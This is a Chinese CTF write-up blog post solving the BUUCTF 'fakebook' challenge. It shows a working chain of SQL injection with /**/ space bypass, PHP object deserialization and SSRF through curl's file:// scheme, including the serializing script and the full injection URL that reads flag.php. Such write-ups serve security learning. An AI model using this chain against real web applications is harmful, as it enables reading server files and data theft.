buuctf fakebook

萌新第一次尝试ssrf。

 

 先尝试一下存不存在sql注入漏洞,然后发现不存在。。

没办法,登陆上去看一眼吧。

发现url有点不对劲

http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=1

马上猜测no这里有问题,尝试搞事情

http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=0

 

 直接爆出了绝对路径。

然后尝试sql注入,发现真的存在注入漏洞,兴奋。然后fuzz发现,空格被过滤,但是没有关系可以用/**/绕过。然后不会了。。

然后扫目录扫出了user.php.bak 和 flag.php

很明显flag.php中有flag,直接访问,无果,放弃。下载user.php

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();// 创建一个新cURL资源

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        
        // 抓取URL并把它传递给浏览器
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);// 关闭cURL资源,并且释放系统资源

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看到curl直接傻了。没办法,直接看wp吧。

 

 看到红框中的报错发现这里有反序列化漏洞。

大佬说我们填写的blog会被反序列化之后调用get方法(毕竟只有curl跟网址有关)

用户在注册填的blog会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。所以只有利用我们的sql注入漏洞。

重点:curl是支持file的,所以我们可以利用file进行文件读取。

<?php

class UserInfo
{
    public $name="test";
    public $age=12;
    public $blog="file:///var/www/html/flag.php";
    
    
}

$data = new UserInfo();
echo serialize($data);

获得payload =

 

 

 然后http://e6fc16c8-ded1-4377-83a2-b9f5b4aef018.node3.buuoj.cn/view.php?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

找到藏在f12中的flag

data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5NTYxYTc5YS0xNDUyLTRhOWQtODliNS04YTA2YmM0NTBiZTN9IjsNCmV4aXQoMCk7DQo=

然后base64解码得到flag

 

posted @ 2019-11-25 22:00  Cxlover  阅读(991)  评论(0编辑  收藏  举报